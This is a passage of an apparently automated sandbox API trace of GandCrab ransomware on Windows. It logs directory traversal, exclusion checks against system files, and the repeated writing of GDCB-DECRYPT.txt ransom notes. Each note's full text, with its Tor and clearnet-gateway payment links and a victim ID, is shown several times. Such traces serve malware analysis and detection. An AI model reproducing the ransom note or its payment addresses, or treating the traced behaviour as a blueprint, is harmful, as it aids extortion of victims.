lpFindFileData=0x285e898) returned 1 [0054.476] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0054.476] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0054.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0054.476] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned 72 [0054.476] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.476] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0054.476] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.476] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\\\GDCB-DECRYPT.txt") returned 87 [0054.476] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.476] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.476] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.477] CloseHandle (hObject=0x4fc) returned 1 [0054.477] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.477] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned 70 [0054.477] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*" [0054.477] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8c70 [0054.477] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.477] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.477] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.477] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.477] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.477] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0054.477] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0054.477] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0054.477] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\" [0054.477] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.478] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.478] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned 73 [0054.478] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*" [0054.478] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b89b0 [0054.478] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.478] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.478] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.478] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.478] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.478] lstrcmpW (lpString1="Managed", lpString2=".") returned 1 [0054.478] lstrcmpW (lpString1="Managed", lpString2="..") returned 1 [0054.478] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0054.478] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned 80 [0054.478] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.478] lstrcmpW (lpString1="User", lpString2=".") returned 1 [0054.478] lstrcmpW (lpString1="User", lpString2="..") returned 1 [0054.478] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0054.478] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned 77 [0054.478] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.478] FindClose (in: hFindFile=0x5b89b0 | out: hFindFile=0x5b89b0) returned 1 [0054.478] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.478] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\\\GDCB-DECRYPT.txt") returned 90 [0054.478] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.479] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.479] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.479] CloseHandle (hObject=0x500) returned 1 [0054.479] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.479] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned 73 [0054.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*" [0054.480] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b89b0 [0054.480] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.480] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.480] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.480] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.480] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.480] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.480] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt" [0054.480] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.480] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned 89 [0054.480] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned 89 [0054.480] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned 89 [0054.480] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned 89 [0054.480] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.480] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.480] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.480] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.480] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.480] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.480] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.480] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.480] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.480] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.480] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.480] lstrcmpW (lpString1="Managed", lpString2=".") returned 1 [0054.480] lstrcmpW (lpString1="Managed", lpString2="..") returned 1 [0054.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0054.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\" [0054.480] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.481] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.481] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned 81 [0054.481] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*" [0054.481] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b89f0 [0054.481] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.481] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.481] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.481] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.481] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.481] lstrcmpW (lpString1="Document Themes", lpString2=".") returned 1 [0054.481] lstrcmpW (lpString1="Document Themes", lpString2="..") returned 1 [0054.481] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0054.481] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned 96 [0054.481] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.482] lstrcmpW (lpString1="SmartArt Graphics", lpString2=".") returned 1 [0054.482] lstrcmpW (lpString1="SmartArt Graphics", lpString2="..") returned 1 [0054.482] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0054.482] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned 98 [0054.482] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.482] FindClose (in: hFindFile=0x5b89f0 | out: hFindFile=0x5b89f0) returned 1 [0054.482] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.482] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\\\GDCB-DECRYPT.txt") returned 98 [0054.482] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.482] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.482] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.483] CloseHandle (hObject=0x504) returned 1 [0054.483] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.483] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned 81 [0054.483] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*" [0054.483] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b89f0 [0054.483] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.483] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.483] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.483] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.483] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.483] lstrcmpW (lpString1="Document Themes", lpString2=".") returned 1 [0054.483] lstrcmpW (lpString1="Document Themes", lpString2="..") returned 1 [0054.483] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0054.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\" [0054.484] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.484] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.484] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned 97 [0054.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*" [0054.484] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5b8cb0 [0054.484] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.484] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0054.484] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.484] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.484] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0054.484] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0054.484] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0054.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0054.484] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned 101 [0054.484] FindNextFileW (in: 